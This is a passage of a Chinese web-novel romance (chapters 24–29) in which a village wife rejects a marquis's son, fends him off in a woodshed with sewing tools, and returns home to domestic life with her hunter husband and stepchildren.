想到这里,恰好就见林若若提着个篮子,往后园的菜地走去。
魏天赐赶紧追了过去……
后园菜畦青翠,篱笆上爬着些将开未开的扁豆花。
林若若正弯腰掐着嫩生生的豆苗,篮子里已有了小半把。
阳光斜照,给她周身镀了层毛茸茸的金边,连脖颈细软的绒毛都清晰可见。
魏天赐放轻脚步,心跳却有些急。他绕到近前,刻意清了清嗓子,放柔了声音唤道:
“若若妹妹~”
第24章 莫纠缠
林若若动作一顿,直起身,见是他,脸上并无讶异,只微微颔首:“魏世子。”语气平静无波,像招呼一个寻常的邻人。
这声“魏世子”刺了魏天赐一下。
他上前两步,目光灼灼地锁住她,声音压得更低,带着自以为是的体察与怜惜:
“此处无人,你不必如此生分。我知道……你心里苦。”
他环顾四周,仿佛那看不见的赵长风正在某处监视,眼神里便透出几分警惕,又混杂着一种保护者的优越,“那莽夫岂懂你的心?你嫁与他,定是父母之命难违。我……我都明白。”
林若若静静看着他,手里还捏着一根豆苗,碧绿的汁液染上指尖。
她没说话,眼神里却似有淡淡的困惑,像在看一个演着独脚戏的陌生人。
这沉默却被魏天赐解读成了“千言万语难开口”。
他心头一热,语气更加笃定,甚至向前倾了倾身,带起一丝京城熏染过的淡雅香囊气味:
“你方才在厨房,那般沉稳应对,定是强忍委屈,做给旁人看的,对不对?你怕给我惹麻烦,怕那赵长风知晓……若若,你的心意,我岂会不知?只是造化弄人……”
他叹息一声,目光投向远方,带着读书人特有的、略带忧悒的怅惘,“此番回乡,见你如此,我心如刀绞。你且再忍耐些时日,我既已归来,定不会眼看你明珠蒙尘。我愿意纳你为妾,也可以叭你养在府外,定让你衣食无忧…………”
“魏世子,”林若若终于开口,打断了他情真意切的低语。
她将手中的豆苗轻轻放入篮中,动作不疾不徐,然后抬起眼,目光清凌凌的,直望进他眼底,
“你莫要讲了。我嫁与长风,是心甘情愿。做三个孩子的后娘,我甘之如饴。如今日子安稳,并无委屈,更不会为人妾室,或者做人外室,永远不会。”
她的声音不高,字字清晰,像山涧溪水敲在卵石上,清脆,不带一丝暧昧或迂回。
魏天赐脸上的深情与痛惜骤然僵住。
他准备好的满腔抚慰与承诺,一下子被堵了回去,噎得喉头发紧。
他盯着林若若,试图从她脸上找出一丝口是心非的痕迹——强装的镇定,眼底隐忍的泪光,或是因他靠近而微颤的指尖。
可是没有。
那张曾经对他盈满仰慕的秀丽面庞,此刻只有一种沉静如水的坦然。
夕阳的光落在她眼中,亮晶晶的,却映不出半分他的影子。
“你……你何必说这些气话,或是违心之论?”
魏天赐有些急了,声音拔高了些,又赶紧压下,带着一种诱哄,“这里只有你我,你信我。难道你忘了从前……”
“从前种种,皆是过往。”
林若若提起篮子,微微侧身,让开他无意中挡住的小径,“晚饭快好了,魏世子还是回前院用些茶点吧。我夫君劈了许久的柴,该饿了,我得赶紧备菜。”
一句“我夫君”,自然平常,却像一根细针,猝然刺破魏天赐胀满的幻想。
他眼睁睁看着林若若从他身边走过,衣角带起微微的风,只有皂荚和阳光晒过干净布料的清新气息,再无记忆中那若有似无的、专为他熏过的淡雅花香。
“若若!”他忍不住又唤了一声,带着最后的不甘。
林若若脚步未停,只留给他一个纤细却挺直的背影,和一句飘散在晚风里的话:“魏世子,请唤我林若若,或是长风媳妇。莫再叫错了,于礼不合。”
于礼不合。
四个字,轻轻巧巧,却如一堵无形的墙,轰然立在他与她之间。
那是她亲手划下的界限,清清楚楚,坦坦荡荡。
魏天赐独自立在菜畦边,看着那背影消失在屋角。
晚风吹过,扁豆叶子沙沙响,魏天赐突然觉得心里空落落的。
以前林若若还是何若若的时候,最喜欢的事就是追着他跑,在他出现的地方,制造许多的偶遇。
而那时的魏天赐,则觉得自己魅力无限,他的狐朋**纷纷取笑她的时候,他也一样地贬低她、嘲讽她!
如今,她沦落成一个乡下的农妇,居还敢看不起她!
他不甘心!
他望着那方向,半晌,慢慢握紧了拳,低声道:“你定然是怕
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的……怕连累我。若若,你总是这般善良,为他人着想。”
厨房里,炊烟更浓了些,饭菜的香气愈发实在。
赵长风不知何时已劈完了柴,正将最后几块粗柴码放整齐。
他直起身,用汗巾擦了把额角,目光似不经意般,掠过通往后园的那道小门。
林小山正捧着碗筷出来,见状,顺着姐夫的目光看了一眼,小声道:“姐去摘豆苗了。”
“嗯。”赵长风应了一声,接过林小山手里的碗筷,“摆桌吧。”
他声音沉稳,听不出什么情绪,只是转身走向水缸舀水洗手时,侧脸的线条在暮色中显得格外硬朗。
院墙外,老槐树的影子被拉得很长。
何美美早已等得不耐烦,见魏天赐失魂落魄地转回来,忙迎上去,话里带着酸意和试探:“天赐哥,你怎么去了那么久?跟她……有什么好说的。”
魏天赐这回却没甩开她,只是神情有些恍惚,望着那升起炊烟的屋顶,喃喃道:“她变了……许是日子太难。”语气里,竟是自己也未曾察觉的、将失望转化为怜惜的自我宽慰。
何美美撇了撇嘴,还想说什么,却听林母在院门口招呼:“魏世子,何姑娘,快进来吧,饭食粗陋,趁热用些。”
那声音热情而朴实,彻底驱散了方才园角那场一厢情愿的梦境。
魏天赐深吸一口气,整顿了一下衣衫,努力将方才那点狼狈与自怜压下,重新端起京城归来、见过世面的从容架子,迈步进了院子。
只是迈进门槛时,他的眼角余光,终究忍不住,又瞥向了灶房那隐隐露出的青色的衣角……
饭已上桌,门口也传来一阵喧哗。
大家往门口看去,只见林父肩上背着小静,身边跟着赵林赵峰,几个孩子手里都拿着一个草编的小笼子,各个脸上满是笑容。
“外祖父,这个笼子我好喜欢!”
“外祖父,那种野果子真好吃!您以后还带我们去摘吧!”
“外祖父,小静最爱你!”
几个孩子叽叽喳喳,看的赵长风一阵眼热……
这可能就是家~
第25章 生米煮成熟饭?
“爹,洗手吃饭了!”
林若若站在灶房门口,笑吟吟地看着头发有些花白的父亲,还有他笑成褶子的沧桑的脸。
林父听到,猛地抬起头来,眼睛亮亮地看着林若若,看着这个自己亲生却没抱过一天的孩子,眼眶红了。
上次,林若若随着养父养母回来,一个正眼都没给他们,也没有叫过一声爹娘,而今天,她居然喊自己爹了?
“哎!爹这就来!”
“赵林,带着弟弟妹妹去洗手。”林若若转身进了灶房。
“好。”赵林答应了,还想说点什么,却只看到了林若若的背影。
饭桌上,男人们已经喝起来了,何美美自诩侯府小姐,也要上桌,魏天赐就随她了。
林小山带着几个孩子单独开了一桌,他去叫林若若上桌吃饭,林若若说她和母亲有话说。
赵长风的脸色有些难看。凭什么何美美能上桌,而自己的妻子却不能?虽然在这乡下,女人都是不上桌的。
还是自己没本事!
为此,他在心中暗暗发誓,一定要努力,要么腰缠万贯,要么有权有势。
但此刻,碍于岳父在场,也没有说难听的话,只是大口吃菜,小口喝酒。
毕竟,这菜如此美味,定是自己妻子的手艺。
他再一次庆幸,自己娶到的不是这个林美美。
长得一般也就算了,好吃懒做,挑肥拣瘦,还非要撒娇装可爱~
怄得慌~
幸好老天爷是厚待自己的。
赵长风再次感叹。
他正低头吃菜,就听何美美那嗲嗲的声音传来,带着戏谑,带着不屑,带着嘲讽,
“哟,我说姐夫,姐姐在家都不给你做饭的吗?这吃的急头白脸的,可别噎着。”
赵长风无声地翘了翘嘴角,放下筷子,冷笑一声,“不劳何小姐操心,我妻子亲手做的饭菜,我得多吃一点,才对得起她的手艺。”
“也是,我这姐姐自小在永平侯府娇生惯养,平日里有丫鬟嬷嬷厨娘照料,如今竟也能亲自下厨,洗手作羹汤,果然是骨子里就有林家的能干!哪里像我,肩不能挑手不能提的,哎~”
何美美吃了口菜,看了看自己如今养的越发白嫩的手,摇了摇头。
“我姐姐林若若自然比你这个自小在乡下长大,却啥也不是的人强!强一万倍!”下桌的林小山听不下去了。
“就是就是!”赵峰也跟着喊起来。
他听懂了那个丑女人的言外之意!
她敢嘲讽林若若?!
赵林放下手中的筷子,对赵峰说道,“弟弟,人被疯狗咬了,只能自认倒霉,难不成咱们还能咬回去?!顶多路边找根打狗棒,把那疯狗打成大饼脸罢了!”
饭桌上顿时一阵寂静,真就连根针掉地上都能听出来了。
“我舅舅说得对!我哥哥说得对!我娘亲最好了!”突然,一个奶声奶气的声音传来。
小静一看,舅舅哥哥起来了,她也不甘示弱。而且,林若若三个字她听懂了!
林小山伸出长着茧子的手,奖励地摸了摸小静和赵林赵峰的脑袋,眼中都是赞赏!
“林小山你个白眼狼!我做你姐姐,做了十六年,还比不上林若若跟你相处的这一天?况且她上次回来什么样,你是记吃不记打,全忘了?!又拿自己的热脸去贴人家的冷屁股?!”何美美激动地站起来,叉着腰就开骂了!
“还有你们三个兔崽子,天下的后娘一般黑,就没一个好的!林若若也不例外!你们就等着被她**吧!白眼狼傻子兔崽子!”
听着何美美这骂人的这一溜儿烟的话,魏天赐的白眼都快翻到天上去了!
这谈吐,这样子,以后何美美嫁过来,承恩侯府要在京城把脸丢光吗?!还没等魏天赐做出反应,赵长风说话了。
“魏世子,林若若是我的妻子,她有不周到的地方,我替她赔不是。但请管好你的人,管好她的嘴,再敢这样诋毁我的妻子,我不介意扇她!反正我烂命一条,不值钱的。”
林父的脸色黑的能研墨了,他把筷子往桌上一拍,压抑着怒气说道,“都好好吃饭!”
“闭嘴!快坐下吧!”魏天赐的脸色难看
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极了,几乎是咬着牙对何美美说。
何美美此时也有些害怕,因为林父从来没有如此生气过,她即使再不甘心,也老老实实坐了下来。
吃了几口,魏天赐眼角瞥见一抹青色的裙角出了院门,他随即刚下筷子,“我去方便一下。”
他背着手,往院子门口踱去,因为林若若出去了。天快黑了,他没有多少时间了。
林家出了门,在后院的菜园旁有个柴房,里面放了些杂七杂八的东西。
此刻,林若若正在里面。她想给菜地浇点水。
太阳西斜,柴房里堆放的农具和干柴在已经在墙壁投下一片影子。
林若若正俯身查看墙角的木桶,突然听到身后柴门“吱呀”一响,紧接着便是落栓的沉闷声响。
她心头一跳,回身便见魏天赐背抵着门,一双眼睛在这不甚明亮的柴房里,闪着算计的光。
“魏世子这是何意?”
林若若后退半步,手指悄悄攥住了袖中随身携带的针线包——那是她在侯府养成的习惯,里头别着几根粗细不一的绣花针。
魏天赐往前踱了两步,嘴角噙着笑:“若若妹妹何必装傻?你这样的明珠,不该埋没在乡野之间。赵长风一个粗鄙猎户,如何配得上你?床第之间,又哪里懂得怜香惜玉?”
他越靠越近,林若若甚至能闻到他身上淡淡的酒气:“今日你若跟我若成了好事,你便能随我回侯府。虽说是妾室,可锦衣玉食总胜过在此处操劳——”
话未说完,林若若猛地抬手,一根细长的绣花针在暮色中闪过寒光,直直抵在他喉结前寸许:“世子请自重。”
魏天赐先是一愣,随即嗤笑:“一根绣花针,也敢——”
话音戛然而止。
林若若另一只手不知何时多出一把裁衣的钝头小剪,正稳稳抵在他腰侧。她的声音冷得像腊月井水:
“世子可听说过‘寸铁亦可**’?这剪刀虽钝,若用尽全力刺入腰间软肉,再往上一挑——”
她顿了顿,“不知世子还能不能全须全尾地走出这柴房?”
第26章 登徒子!
魏天赐僵住了。
他确实听说过,永平侯府曾请宫中退役的嬷嬷教导女子防身之术,其中不乏利用日常物件制敌的狠招。
就在这时,柴房外突然传来脚步声。
“若若?”是赵长风的声音,带着几分焦急,“你在里面吗?”
林若若眼神一动,忽然提高声音,语气却转为惊惶:“世子请放手!您不能这样——”
话音未落,柴房门“砰”地一声被踹开。
赵长风站在门口,夕阳的余光从他身后涌进来,将他高大的身形镀上一层金边。
他眼中翻涌着骇人的怒意,视线落在魏天赐几乎贴到林若若身上的姿态,拳头捏得咯咯作响。
“魏、天、赐。”三个字从牙缝里挤出来。
林若若趁机后退,眼中瞬间蓄起泪水,手指却悄悄将针剪收回袖中。
她扑到赵长风身侧,声音发颤:“长风,世子他、他喝多了......”
魏天赐百口莫辩,方才的嚣张气焰荡然无存。
赵长风一步步逼近,常年打猎淬炼出的杀气让这位养尊处优的世子两腿发软。
“赵公子,这,这是误会——”
“误会?”赵长风冷笑,“那我今日也误会一回,打折世子两条腿,明日再去侯府赔罪如何?”
院中其他人听到动静纷纷赶来。
林父看见柴房内情景,气得浑身发抖,操起门边的扁担就要冲进来:“姓魏的!你敢欺辱我女儿!”
魏天赐脸色煞白,仓皇想逃,却被赵长风一把攥住衣领。
一直冷眼旁观的林小山突然开口:“姐夫,放开他。”
在众人惊诧的目光中,林小山走到魏天赐面前,少年人的眼睛黑沉沉的:
“今日之事若传出去,于姐姐名声有损。不如让世子立个字据,写明今日醉酒失态,愿以三十亩良田为赔礼,赠与姐姐压惊。”
魏天赐瞪大眼睛:“三十亩?你——”
“或者,”林小山慢条斯理地补充,“我现在就去村里敲锣,请乡亲们都来看看,承恩侯府的世子是如何在农家柴房里‘醉酒失态’的。”
最终,魏天赐在众人目光中抖着手写下了字据。
林若若接过那张纸,望向赵长风时,却在他眼中看到了一丝深思——方才她袖中一闪而过的寒光,或许并未逃过他的眼睛。
席散时,赵长风牵过林若若的手,粗糙的拇指轻轻摩挲她虎口处的薄茧,忽然低声问:“永平侯府还教这个?”
林若若抬眼,撞进他了然的目光里。
半晌,她轻轻回握他的手,唇角弯起极浅的弧度:
“夫君,”这是她第一次这样唤他,“有些本事,未必是侯府教的。”
夕阳下,她的眼睛亮如星辰~
魏天赐已经带着何美美仓皇离去,虽然何美美并不知道发生了什么。但这个家,她永生永世,再也不想来了。
她想回去侯府,过那种衣来伸手饭来张口的日子,过那种有丫鬟嬷嬷小厮伺候的日子,自然还想做承恩侯府的世子妃。
而赵长风握着林若若的的手掌,温热而粗糙,摩挲着她虎口薄茧的动作很轻,却带着不容回避的探究。
他没有再追问,只是将那字据仔细折好,放进林若若手中:“收好。”语气平淡,却将她的指尖连同字据一起,稳稳包覆在掌心。
太阳慢慢下山,院子里帮忙的乡亲们已陆续散去,只余下杯盘狼藉和尚未散尽的酒菜香气。
林父坐在门槛上抽着旱烟,烟锅里的红光在昏暗中明明灭灭,他望着魏天赐马车离去的方向,良久才重重叹了口气。
“爹,没事了。”林小山蹲在他身边,声音里有超越年龄的沉稳,“姐有分寸。”
林父转头看他,又看向院子里正在帮林母收拾碗筷的女儿,还有默不作声却始终站在她身侧不远处的赵长风,终于点了点头,只是眼神深处仍残留着后怕。
厨房里。
林若若舀了热水,将碗碟一一浸入木盆。赵长风挽起袖子,很自然地接过她手里的丝瓜瓤。
“我来。”他说。
林母见状,忙要
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阻拦:“这怎么行,长风你去歇着……”
“娘,让他洗吧。”林若若声音轻缓,却带着某种让林母止步的柔和力量。
她抬眼看向赵长风,灯火在他棱角分明的侧脸上跳跃,“今日,你也辛苦了。”
林母看看女儿,又看看这个虽沉默却眼神清亮的女婿,终是擦了擦手,拉着还想说什么的林父出了厨房,将空间留给了两个年轻人。
水声哗啦,碗碟碰撞出清脆的声响。
赵长风低头刷洗,动作不算熟练,却异常仔细。
林若若在一旁用干布擦拭,两人之间一时无话。
“那针剪,”赵长风忽然开口,声音压得很低,混在水声里几乎听不清,“使得很利落。”
林若若擦拭的动作微微一顿。
“不是侯府嬷嬷教的。”
她将擦干的碗轻轻摞好,声音同样平静,“是我自己看书学会的。”
赵长风侧过头看她。
灯下,她垂着眼睫,面容沉静,方才在柴房里那转瞬即逝的凌厉锋芒,此刻已敛得干干净净,只剩下一层柔和的暖光。
“以后我再教你别的。”他道,语气里多了些别的意味。
“好的呀。”林若若笑了笑,那笑意很浅,未达眼底,“有些本事,学的时候只当是打发时间,从未想过真会用上。”
赵长风将最后一个碗洗净,直起身,在粗布上擦了擦手。
他转过身,正对着她,高大的身影几乎将灯火完全挡住,将她笼在影子里。
“以后,”他看着她清澈的眼睛,一字一句道,“想用的时候就用。天塌下来,有我。”
这话说得平淡,甚至没什么起伏,却像一块沉甸甸的石头,投入林若若心湖,漾开一圈圈她自己都未曾预料到的涟漪。她抬眸,与他目光相接。
他眼中没有怜悯,没有好奇,只有一种坚实的、近乎磐石般的了然与承诺。
“好。”她轻轻应了一声。
告别父母和弟弟,赵长风赶着骡车,带着一家四口,一起踏上了回家的路。
第27章 回家~
车外,夜色已完全降临,星子初现。远处隐隐传来几声狗吠,车里,三个孩子已经甜甜地睡着了。
林家正房内,林母铺着被褥,忍不住又掉下了眼泪。
林父磕了磕烟锅,红着眼眶,低声道:“别哭啦。咱们女儿,如今过的好着呢。”
林母眼眶微红:“我就是心疼,就是想她,自出生我就没抱过她……我们虽然养大了美美,但她如今已经不认咱们这个家,也不认咱们了。咱们只有小山,和若若了。今天要是长风晚来一步……”
“没有要是。”林小山不知何时倚在门边,少年人的身影在灯光下拉得很长,“姐夫回来救她,以后我要会保护她!”
他顿了顿,看向父母,“爹,娘,魏天赐今天吃了这么大的亏,字据在手,他短时不敢明着来。但他那个人,心胸狭窄,未必肯甘心。我们得有个准备。”
林父林母神色一凛。
而此刻,回城的马车里,气氛却如冰窖。
魏天赐脸色铁青,攥紧的拳头因为用力过度而微微发抖。
三十亩上等田地!
那几乎是他在京郊私产中最肥美的一块!竟被那农家小子三言两语讹了去!
更可恨的是赵长风那杀气腾腾的眼神,还有林若若……那女人袖子里闪过的东西,到底是什么?
何美美缩在车厢角落,大气不敢出。
她虽愚钝,也看出世子心情极糟,只小声啜泣着:“世子,人家的手好疼,林家那些人太粗野了……”
“闭嘴!”魏天赐看着眼前大饼脸的何美美,烦躁地低吼。
何美美吓得一哆嗦,再不敢言语,心里却将今日所受的委屈全算在了林若若头上。
都是那个**!
若不是她,自己怎会平白挨打,世子又怎会如此动怒?
等她回了侯府,定要……
魏天赐闭着眼,脑海中反复回放着柴房中的一幕。
林若若后退时,袖口那一点寒芒,以及她瞬间变换的神色——从冷静到惊惶,毫无滞涩。
这个美丽又聪慧的女子,越发让他挪不开眼睛。
还有那个赵长风……一个山野猎户,怎会有那般慑人的气势?
他睁开眼,眸中闪过阴鸷的光。
今日之辱,他暂且记下。
来日方长,那三十亩田,那让他丢尽颜面的林家,还有那个竟敢对他亮出爪牙的女人……他越来越喜欢了!
想到她那绝美的容颜,凹凸有致的身材,想到总有一天她会在自己身下辗转求欢,他就无比兴奋~
好饭不怕晚……
他等得起!
唯一美中不足的,就是当年她还未出嫁时,他没动她~
有些后悔~
骡车在乡间土路上吱呀前行,车厢里,两个孩子已经依偎在一起睡着了。
林若若将一件外衫轻轻盖在他们身上,抬眼望向车外。
赵长风坐在车辕上,背影宽阔而沉默,只有偶尔轻扬的鞭梢和骡子不紧不慢的蹄声,划破这渐浓的宁静。
路旁的田野里,晚风拂过稻禾,发出沙沙的轻响,带着泥土和青草的气息。
林若若看着他的背影,忽然想起他掌心那份粗糙的温热,还有那句“天塌下来,有我”。
心口处,似乎还有些陌生的暖意,在缓缓荡漾。
“冷吗?”赵长风没有回头,声音混在风里传来。
“不冷。”林若若顿了顿,又道,“今日……多谢你。”
赵长风侧了侧脸,轮廓在暮色中显得格外清晰:“谢我什么?我进去的时候,你未必需要我救。”
他说得直接。
林若若微微一怔,随即唇角轻弯。
是啊,他看见了。看见了那抹寒光,也看见了她在瞬间从惊惶到冷静的转换。
“需要。”她轻声说,目光落在他坚实的肩背上,“需要你在那儿。”
需要有人踹开那扇门,需要有人用那样愤怒而维护的姿态出现,需要有人……让她不必独自将那份狠厉展现人前,让她还可以是那个需要被保护的“林若若”。
赵长风似乎听懂了她的未尽之言,没有接话,只是握着缰绳的手,稍稍收紧了些。
骡车转过一个弯,前方已能看见赵家小院的轮廓,窗口透出一点昏黄的暖光——是赵长风出门前特意留的灯。<
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br>“地契的事,”赵长风忽然道,“你想怎么处置?”
林若若摸了摸袖中那张纸。
三十亩良田,对承恩侯府或许只是九牛一毛,但对农家而言,是一笔足以改变境遇的财富。魏天赐写下它时咬牙切齿的模样犹在眼前。
“先收着。”她思忖片刻,“此时过户,动静太大,恐生是非。魏天赐今日受此大辱,又失了田产,绝不会善罢甘休。我们需缓一缓,从长计议。”
赵长风点头:“和我想的一样。”他顿了顿,“不过,既到了你手里,便是你的东西。何时想用,怎么用,你说了算。”
言语间,是将那份财富的处置权,完全交给了她。
林若若心中微动。
这不仅仅是信任,更是一种尊重,将她置于平等的、可以自主决断的位置。
在这样一个时代,出自一个农家猎户之口,显得尤为珍贵。
“好。”她再次应道,这次声音里多了些真切的笑意。
骡车在院门口停下。
赵长风先跳下车,然后将手伸向她。
林若若将手放入他掌心,借力稳稳落地。
他的手掌依旧温热粗糙,稳稳地托住她,直到她站定才松开。
他转身去抱车里熟睡的孩子。
林若若推开院门,那盏油灯的光芒立刻温暖地笼罩过来。
她站在门口,看着他一手一个,轻巧地将两个孩子抱进屋,背影在灯光下拉得很长,与这朴素却安稳的家融为一体。
柴房的惊心动魄、魏天赐的狰狞、袖中针剪的冰冷寒意……仿佛都被这暖融融的灯火和眼前这幅景象驱散了。
未来或许还有风雨,承恩侯府不会就此罢休,何美美的心思也未可知。
但此刻,林若若深吸了一口带着柴火气息的夜风,感觉一直绷着的某根弦,悄然松了下来。
她走进屋子,开始麻利地收拾。
赵长风安顿好孩子,便去井边打水,准备烧些热水洗漱。
两人没有再多言语,却有一种无声的默契在流淌。
锅里的水开始冒出热气,氤氲了灶房的窗户。
夜深了。
第28章 清晨
孩子们在屋里睡得香甜。
房里,林若若和赵长风隔着一盏灯对坐。
他将一个粗陶杯子推到她面前,里面是刚烧开的热水。
林若若说过不许家里人直接喝水缸里的水,必须烧开了才能喝。
“睡吧。”他说,“明日我进山看看陷阱,过两日,我和傻根可能会出趟远门。”
“好。”林若若捧着温热的杯子,指尖回暖,“你小心些。”
给小白喂了羊奶,把它放在了旧衣物做成的小窝里,林若若就上了床,躺到了床里侧,赵长风吹熄了灯,依然躺在了床外侧。
月光从窗棂洒进来,在地上投下模糊的光斑。
两人各自躺下,中间隔着一点距离。
黑暗中,林若若听见赵长风平稳的呼吸声,也听见自己逐渐平缓的心跳。
她翻了个身,面对着他的方向,虽然看不清,却能感受到那份存在带来的安稳。
袖中,那张地契的边角,轻轻硌着她的手臂。她轻轻收进了空间。
未来还长,路也要一步步走。
但至少今夜,星月无声,家宅安宁。而身畔,有一个或许沉默、却会在柴房门被踹开时第一个冲进来的人。
这就够了。
她听着赵长风渐渐平缓的呼吸,心中意念微动,小白狼就被她收进了空间,给它喂了灵泉水,任由它在空间撒欢去了,而自己闭上眼睛,慢慢沉入黑甜的梦乡。
睡过去之前,她还想着,那三百两聘礼的事,明日一定要告诉赵长风……
第二日天还没亮,林若若就醒了。她无声地叹了口气,自己在现代时,最喜欢的事就是早上睡懒觉,如今到点就醒了~
哎~
窗外还是沉沉的青灰色,只东边天际透出极淡的一线鱼肚白。
她轻手轻脚地起身,还是惊动了身旁的人。
赵长风睡眠极浅,警惕性极高,几乎在她坐起的同时就睁开了眼,眸子里没有刚醒的迷蒙,只有清醒的警惕,见是她,神色才松缓下来。
“还早。”他的声音带着刚醒时的微哑。
“睡不着了,起来做早饭。”
林若若压低声音,怕吵醒东屋睡得正熟的孩子们。
她顺手将空间里睡得四仰八叉的小白狼挪回床边旧衣搭的小窝。小家伙咂咂嘴,翻了个身,又蜷成一团。
赵长风没再多言,也跟着起身。两人穿戴整齐,前后脚出了房门。
灶房里却已亮着暖黄的光,一口大锅架在灶上,里面水已半开,正咕嘟咕嘟冒着细密的气泡。
赵长风正坐在灶膛前的小凳上,往里添了把柴禾,跳跃的火光映着他轮廓分明的侧脸,额前碎发落下些许阴影。
他见她进来,抬眼道:“烧了点热水,想着先把粥熬上。”
林若若心里一暖。
“我来吧,早上吃点不一样的。”她挽起袖子,“熬个八宝粥,再烙些手抓饼。”
赵长风点点头,起身让开灶前的位置,却也没走开,只站到一旁,顺手将水缸盖严实,又将昨日洗净晾着的葫芦瓢递给她。
林若若先从米缸里舀出糙米,又借着碗柜的遮掩,从空间里取出些红豆、花生、红枣、莲子等物,混在一起淘洗干净,倒入专门煮粥的瓮锅中,加水没过,盖上锅盖,让赵长风看着火先慢慢熬着。
她自己则取了面粉,加入温水、少许盐和一点油,熟练地和成一个光滑的面团,用湿布盖上醒着。
趁着醒面的工夫,她又从角落里找出五个鸡蛋,一小把昨日摘回来还水灵灵的小葱洗净切碎。
待面团醒得差不多了,锅里的八宝粥也已翻滚出浓郁的香气,混杂着豆类与枣子的甜糯。
林若若将灶火调小,让它慢慢煨着。
她在案板上抹了点油,取出面团,不用擀面杖,只用手将面团扯开、撑薄,刷上一层薄薄的油酥,撒上细盐和葱花,再将其卷起、盘成圆饼状,用手轻轻压扁。
锅烧热,抹上薄油,饼坯放入,随着“滋啦”一声轻响,面香混着葱油香瞬间被激发出来。
她用锅铲轻轻转动面饼,待一面烙得金黄微焦,便翻个面,磕入一个鸡蛋,用铲子快速搅散铺匀,再翻过来烙片刻,鸡蛋凝固,饼身酥脆,一张金黄诱人、层次分明的手抓饼便出锅了。
她动作麻利,一张接着一张。
赵长风在一旁看着,偶尔递个盘子,或添把柴。
他话不多,目光却始终随着她的动作移动,眼中满是赞赏和惊喜。
天光渐渐亮起,青灰色褪去,转为清透的晨光,透过灶房的窗户纸洒进来。
孩子们大概是被香气
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诱醒了,里屋传来窸窸窣窣的动静和细小的说话声。
最后一张饼出锅时,八宝粥也熬得恰到好处,米粒开花,豆类软糯,粥汤浓稠。
林若若撒上一小撮糖霜,轻轻搅匀。
“吃饭了。”她朝外间唤了一声。
赵长风已手脚利落地把粥瓮搬到了堂屋的饭桌上,摆好凳子。
赵林揉着眼睛,牵着还有些迷糊的赵峰走了出来。
看到桌上金黄喷香的饼和热气腾腾的粥,孩子们的眼睛一下子亮了。
林若若进了里屋,看了一眼还在睡着的小丫头,温婉地笑了,之后轻轻退了出来,虚掩上了门。
“赵林赵峰,先洗漱吧。”林若若看了看两个孩子,如往常般说道。
“知道了。”
两个孩子在赵长风面前倒是乖巧,赵峰嘴唇翕动了一下,似乎想说什么,但看了看脸色平静的大哥,又咽了回去。
手抓饼外酥里软,葱香蛋香混合,咬一口满嘴生香。
八宝粥甜糯暖胃,顺着食道下去,驱散了清晨最后一点寒意。
孩子们吃得头也不抬,嘴角沾着饼屑。
赵长风吃得很快,但丝毫不显粗鲁。
他连吃了三张饼,喝了两碗粥,才放下碗筷,看着林若若:“饼很好。粥也好。”
林若若抿嘴笑了笑,低头喝粥,心里琢磨着那三百两聘礼的事,该如何开口。
她抬眼看他,他正望着窗外逐渐高起的日头,侧脸在晨光里显得格外清晰坚毅,似乎已在思量进山的事了。
话到嘴边,又觉得此刻的安宁格外珍贵,或许……等他回来再说也不迟。
至少,得等他平安从山里回来。
“进山小心陷阱,也提防着野兽。”她终究只轻声叮嘱了一句。
“嗯。”赵长风应道,目光转回来,在她脸上停留了一瞬,“家里你多费心。”
他起身,去墙角检查弓箭和柴刀。
林若若也站起来收拾碗筷,看着他将工具一件件佩挂妥当,那高大的身影走向门口,融入逐渐明亮的晨光里。
给两个孩子各带了两张手抓饼,为了省事,林若若又在饼里面卷了从空间拿出来的生菜,还带了一点点咸菜丝。他们的竹筒里也装满了烧开后又放温的水。
新的一天,就这样开始了。
第29章 风波初起
赵林赵峰上学堂去了,赵长风带着傻根进山去了。
林若若进屋看了看,小静还在睡着,就把几人换下的衣裳收进空间,扔进洗衣机去了。
趁着这个功夫,林若若开了两个快递,一个是一箱牛奶,里面还送了一小罐婴幼儿奶粉,另一个是一盒子的火锅底料~
这个不错,可以试试。
林若若心情莫名好了许多。
正在这时,外面传来小丫头有些惊恐的带着哭腔的声音,“娘!娘~”
林若若赶紧出了空间,出现在家里。
就见小丫头睡眼迷蒙,坐在床上揉着眼睛哭。
“小静,你醒啦?莫哭,娘一直都在呢。”林若若赶快过去,把孩子抱进怀里,又在小丫头的额头狠狠亲了一口。
“娘亲,你去哪里了?我以为你走了,不要小静了……”
小丫头被娘亲搂在怀里,又得了香香的亲亲,抽噎声渐渐停了,小手紧紧抓着林若若的衣襟,湿漉漉的大眼睛望着她,满是依恋。
“傻孩子,娘能去哪儿?娘就是去灶房看看,给小静留了好吃的饼饼呢。”
林若若柔声哄着,用手帕轻轻擦掉她脸上的泪痕,“小静睡饱了吗?咱们起来穿衣裳好不好?哥哥们都上学堂去了,爹爹也进山了,今天家里就咱们俩。”
听说有好吃的饼饼,小丫头注意力被转移,点了点头,任由林若若给她穿衣服。
林若若从空间里拿出昨晚用温水浸着今早又拧干的软布巾,给小丫头擦了脸和手,又用自制的简陋小牙刷蘸了点盐,帮她清洁牙齿。
收拾妥当,林若若抱着小丫头来到堂屋。
桌上特意留着一张用手帕盖着的、依然温热的手抓饼,还有一小碗温着的八宝粥。
“看,娘没骗你吧。”林若若把女儿放在凳子上坐好,将饼撕成小块,方便她拿取。
小丫头眼睛亮晶晶的,抓起一块就塞进嘴里,鼓着腮帮子努力嚼着,脸上终于露出了笑模样。
“慢慢吃,喝点粥。”林若若坐在旁边,一边照看女儿吃饭,一边思忖着上午的安排。
换洗衣裳已经在空间洗衣机里滚动,暂时不用管。
等小丫头吃完,得带她消消食,然后……或许可以试着用那包火锅底料做点什么?
不过家里肉食不多,赵长风进山若是能有收获就好了。
正想着,门外传来脚步声和刻意放轻的说话声。
“若若在家不?”
是隔壁柳婶子的声音。
王婆子住在自家右边,柳婶子住在自家的左手边,看样子,啊~啊柳婶子身体不大好。
林若若应了一声,起身去开门。一个细长脸的婶子挎着个小篮子站在门外,有些苍白的脸上,带着温婉的笑意:
“听着你家小静醒了?哎哟,这小脸哭过啦?莫怕莫怕,你娘在呢。若若是吧,我家住你家左手边,长风早上临走前,让我无事就来陪你聊聊天。怕你刚嫁过来,寂寞得慌。”
林若若心头一暖,赶紧说:“婶子,快进来坐。”
林若若将人让进来,“刚醒,正吃早饭呢。您吃过了吗?”
“吃过了吃过了。”
柳婶子摆摆手,把篮子放在桌上,掀开盖布,里面是几个还温乎的杂面馒头,
“昨儿个我家那口子从集上捎回来点新麦,磨了面蒸的,给你们尝尝鲜。长风兄弟又进山了?家里就你们娘俩,有啥事就喊一声。”
“让婶子费心了。”
